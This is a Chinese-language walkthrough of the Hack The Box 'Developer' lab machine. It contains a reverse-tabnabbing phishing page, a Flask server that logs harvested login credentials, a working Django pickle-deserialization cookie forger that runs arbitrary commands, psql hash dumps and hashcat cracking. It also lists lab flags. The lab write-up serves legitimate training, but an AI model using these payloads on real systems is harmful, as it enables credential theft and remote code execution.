基本信息

端口扫描

22和80:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ nmap -sC -sV 10.10.11.103
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-18 12:53 CST
Nmap scan report for 10.10.11.103
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 36:aa:93:e4:a4:56:ab:39:86:66:bf:3e:09:fa:eb:e0 (RSA)
| 256 11:fb:e9:89:2e:4b:66:40:7b:6b:01:cf:f2:f2:ee:ef (ECDSA)
|_ 256 77:56:93:6e:5f:ea:e2:ad:b0:2e:cf:23:9d:66:ed:12 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://developer.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: developer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.56 seconds

80

加hosts后访问,一个CTF练习平台:

1
10.10.11.103 developer.htb

CTF

注册登录后,有一些CTF练习:

challenge PSE

需要完成任意一个challenge后,会出现提交writeup功能:

PSE这个就是PS2EXE,还原出来一个powershell,根据其中的加密函数对应解密:

1
DHTB{P0w3rsh3lL_F0r3n51c_M4dn3s5}

提交后,出现submit walkthrough功能:

challenge Phished List

受保护的xlsx中有一列隐藏,去除保护后在其中得到flag

1
DHTB{H1dD3N_C0LuMn5_FtW}

challenge Lucky Guess

一个elf,其中有winner函数,直接gdb之类跳过去就可以

1
DHTB{gOInGWITHtHEfLOW}

challenge RevMe

.net exe,反编译,EmbeddedSecret函数中得到flag:

1
DHTB{TCG5_S1mPl3_R3v3r51nG_Ch4773nG3}

challenge Authentication

64位elf,check_password函数比较两个参数,其中一个是flag

1
DHTB{rusty_bu5in3s5}

challenge PwnMe

64位elf,check_password调用strcmp比较两个参数,得到密码 supersaiyan3 ,然后运行elf输入正确密码得到flag:

1
DHTB{b4s1c0v3rF7ow}

challenge Easy Encryption

就是异或加密,根据flag格式前五位固定是DHBT{可以得到密钥,然后得到flag:

1
DHTB{XoringIsFun}

challenge Triple Whammy

还是xor:

1
DHTB{XorXorXorFunFunFun}

check walkthrough

任意一个challenge提交wp链接后,应该是管理员定是查看,大概两分钟一次

admin

简单的目录扫描可以发现是django:

reverse tabnabbing

当 Web 开发人员想要在新选项卡中打开链接时,他们会添加target="_blank"<a>标签中。问题是,如果该链接导向恶意页面并且没有采取缓解措施,那么该页面上的 JavaScript 实际上可以更改原始页面的位置。因此,如果您链接到网站没有的用户控制内容,这实际上只是一个问题。对此的缓解措施是也添加rel="noopener nofollow"<a>标签中。

我们提交的walkthrough也是这样,这里的目标是托管一个页面,以便当管理员单击链接时,它会在现在可见的新选项卡中打开。该选项卡中的 JavaScript 将反转选项卡-nab 原始选项卡以将其发送到我托管的另一个页面,该页面看起来像开发人员的登录页面。当管理员阅读完我的页面并返回时,他们会认为他们已出于某种原因注销,然后再次登录,我在此获得了凭据

exploit

就是自己writeup里将返回界面设置为fake login,action指向自己的login函数记录密码

1
2
3
4
5
http://10.10.14.2:7777/writeup

csrfmiddlewaretoken: Example1
login: admin
password: SuperSecurePassword@HTB2021

writeup.html

1
2
3
4
5
6
7
8
9
10
<html>
<body>
<h2>Challenge Writeup</h2>
<p>This challenge was quite well designed! Good job by the developers at Developer for this one. I would definitely recommend it to my friends. It required critical thinking and tools like Ghidra to get the job done</p>
<script>
if (window.opener) window.opener.parent.location.replace('http://10.10.14.2:7777/accounts/login/');
if (window.parent != window) window.parent.location.replace('https://10.10.14.2:7777/accounts/login/');
</script>
</body>
</html>

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/env python3

from flask import *


app = Flask(__name__, template_folder='.')

@app.route("/writeup")
def writeup():
return render_template('writeup.html')


@app.route("/accounts/login/", methods=['GET', 'POST'])
def login():

if request.method == 'POST':
print('\n'.join([f'{x[0]}: {x[1]}' for x in request.form.items()]))
return redirect("http://10.10.11.103/accounts/login/", code=302)
else:
return render_template('loginform.html')


if __name__ == "__main__":
app.run(host="0.0.0.0", port=7777)

loginform.html

直接复制login界面后修复js,css路径:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<meta name="author" content="">
<link rel="icon" href="/img/favicon.ico">
<link rel="stylesheet" href="http://developer.htb/static/css/jquery.toasts.css">
<script src="http://developer.htb/static/js/all.min.js" crossorigin="anonymous"></script>
<script src="http://developer.htb/static/js/jquery-3.2.1.min.js"></script>
<title>Login | Developer.HTB</title>

<!-- Bootstrap core CSS -->
<link rel="stylesheet" href="http://developer.htb/static/css/bootstrap.min.css" integrity="sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO" crossorigin="anonymous">

<!-- Custom styles for this template -->
<link href="http://developer.htb/static/css/signin.css" rel="stylesheet">
</head>

<body class="text-center">

<form class="form-signin" action="/accounts/login" method="post">
<input type="hidden" name="csrfmiddlewaretoken" value="Example1">
<img class="mb-4" src="http://developer.htb/static/img/logo.png" alt="" width="72" height="72">
<h1 class="h3 mb-3 font-weight-normal">Welcome back!</h1>
<label for="uname" class="sr-only">User Name</label>
<input type="text" id="id_login" name="login" placeholder="Username" class="form-control" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" id="id_password" name="password" placeholder="Password" class="form-control" required>


<button id="loginbtn" class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>
<a href="/accounts/password/reset/" class="auth-link">Forgot password?</a>
<div class="text-center mt-4 font-weight-light"> Don't have an account? <a href="/accounts/signup/" >Click here!</a>
<p class="mt-5 mb-3 text-muted">&copy; Developer.HTB 2021</p>
</form>

<script src="http://developer.htb/static/js/jquery.toast.js"></script>
</body>
</html>

Django

diango admin界面发现另一个site,加hosts后访问:

developer-sentry.developer.htb

账号是django admin那里得到的用户名:

1
jacob@developer.htb SuperSecurePassword@HTB2021

secret

执行一些操作触发报错,例如创建一个项目后再删除,报错信息中得到配置信息,包括secret:

1
'system.secret-key': 'c7f3a64aa184b7cbb1a7cbe9cd544913'}

diango rce

就是diango的cookie可以使用pickle反序列化,有secret就可以构造出任意cookie:

diango_rce.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#!/usr/bin/python2
import django.core.signing, django.contrib.sessions.serializers
from django.http import HttpResponse
import cPickle
import os
import requests
import sys


cmd = sys.argv[1]

SECRET_KEY='c7f3a64aa184b7cbb1a7cbe9cd544913'
#Initial cookie I had on sentry when trying to reset a password
cookie=".eJxrYKotZNQI5UxMLsksS80vSi9kimBjYGAoTs0rKaosZA5lKS5NyY_gAQqVGuS55IZFFIeUGTpHcAEFSlKLS5Lz87MzU8FayvOLslNTQnnjE0tLMuJLi1OL4jNTvFlDhZAEkhKTs1PzUkKVIObrlZZk5hTrgeT1XHMTM3McgSwniJpSPQDm9TPf:1n9hcy:HpZvM4Joi_Uu5WcsvPd9o2xXrUY"
newContent = django.core.signing.loads(cookie,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
class PickleRce(object):
def __reduce__(self):
return (os.system,(cmd,))
newContent['testcookie'] = PickleRce()

cookie = django.core.signing.dumps(newContent,key=SECRET_KEY,serializer=django.contrib.sessions.serializers.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies',compress=True)
print("Forged cookie:\n" + cookie)

requests.get("http://developer-sentry.developer.htb/sentry/", cookies={"sentrysid": cookie})

Postgres

/var/www/developer_ctf/developer_ctf/settings.py 里得到postgresql配置信息:

/etc/sentry/sentry.conf.py 中是另一组账号密码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'platform',
'USER': 'ctf_admin',
'PASSWORD': 'CTFOG2021',
'HOST': 'localhost',
'PORT': '',
}
}

DATABASES = {
'default': {
'ENGINE': 'sentry.db.postgres',
'NAME': 'sentry',
'USER': 'sentry',
'PASSWORD': 'SentryPassword2021',
'HOST': 'localhost',
'PORT': '',
}
}

数据库中枚举信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
psql postgresql://ctf_admin:CTFOG2021@localhost:5432/platform
psql postgresql://sentry:SentryPassword2021@localhost:5432/sentry

entry=# select id,username,password,is_superuser from auth_user;
select id,username,password,is_superuser from auth_user;
WARNING: terminal is not fully functional
- (press RETURN)
id | username | password
| is_superuser
----+---------------------+-----------------------------------------------------
--------------------------+--------------
1 | karl@developer.htb | pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+mg
Rb8ZL8othIs32aGmqahx1rGI= | t
5 | jacob@developer.htb | pbkdf2_sha256$12000$MqrMlEjmKEQD$MeYgWqZffc6tBixWGwX
X2NTf/0jIG42ofI+W3vcUKts= | t
(2 rows)

hash crack

Django (PBKDF2-SHA256)格式hash:

1
2
3
sudo hashcat -m 10000 hash.txt /usr/share/wordlists/rockyou.txt

pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+mgRb8ZL8othIs32aGmqahx1rGI=:insaneclownposse

user flag

破解出来的密码就是karl的ssh密码,ssh登录得到user.txt:

rust逆向 & root flag

可以sudo运行一个elf,查看strings可以知道是rust:

1
scp karl@10.10.11.103://root/.auth/authenticator .

经过一系列逆向分析得到密码:RustForSecurity@Developer@2021:)

(分析过程直接看0xdf文章和ippsec视频吧)

验证通过后可以写公钥:

root flag

然后ssh登录root,读取root.txt:

参考资料